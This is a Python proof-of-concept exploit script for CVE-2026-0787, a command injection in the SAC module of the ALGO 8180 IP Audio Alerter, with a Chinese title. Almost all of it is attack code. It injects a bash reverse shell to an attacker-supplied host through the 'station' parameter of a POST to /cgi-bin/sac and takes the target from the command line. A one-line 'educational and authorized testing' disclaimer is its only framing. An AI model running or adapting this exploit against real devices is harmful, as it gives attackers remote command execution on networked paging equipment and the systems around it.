CVE-2026-0787 ALGO 8180 IP Audio Alerter SAC命令注入远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2026-0787 PoC - ALGO 8180 IP Audio Alerter SAC Command Injection Note: This is for educational and authorized testing purposes only. """ import requests import sys import argparse def exploit_sac_command_injection(target_ip, target_port=8080, attacker_ip="ATTACKER_IP", attacker_port=4444): """ Exploit the SAC module command injection vulnerability in ALGO 8180 devices. Args: target_ip: IP address of the vulnerable ALGO 8180 device target_port: Web interface port (default: 8080) attacker_ip: Attacker controlled IP for reverse shell attacker_port: Attacker listening port for reverse shell """ # Construct the malicious payload for command injection # The vulnerability exists in the SAC module's handling of user-supplied input # Injecting a reverse shell connection back to attacker payload = f";bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1;" # Target endpoint for SAC module (specific path may vary) endpoint = f"http://{target_ip}:{target_port}/cgi-bin/sac" # Construct the malicious request # The SAC module processes this input without proper validation params = { 'command': 'alert', # Legitimate command type 'station': payload # Injected malicious payload } print(f"[*] Targeting ALGO 8180 at {target_ip}:{target_port}") print(f"[*] Attempting command injection via SAC module") print(f"[*] Payload: {payload}") try: # Send the malicious request response = requests.post(endpoint, data=params, timeout=10) print(f"[+] Request sent - Check for reverse shell connection") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True def main(): parser = argparse.ArgumentParser(description='CVE-2026-0787 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', default=8080, type=int, help='Target port') parser.add_argument('-l', '--lhost', required=True, help='Attacker IP for reverse shell') parser.add_argument('--lport', default=4444, type=int, help='Attacker port') args = parser.parse_args() exploit_sac_command_injection(args.target, args.port, args.lhost, args.lport) if __name__ == '__main__': main()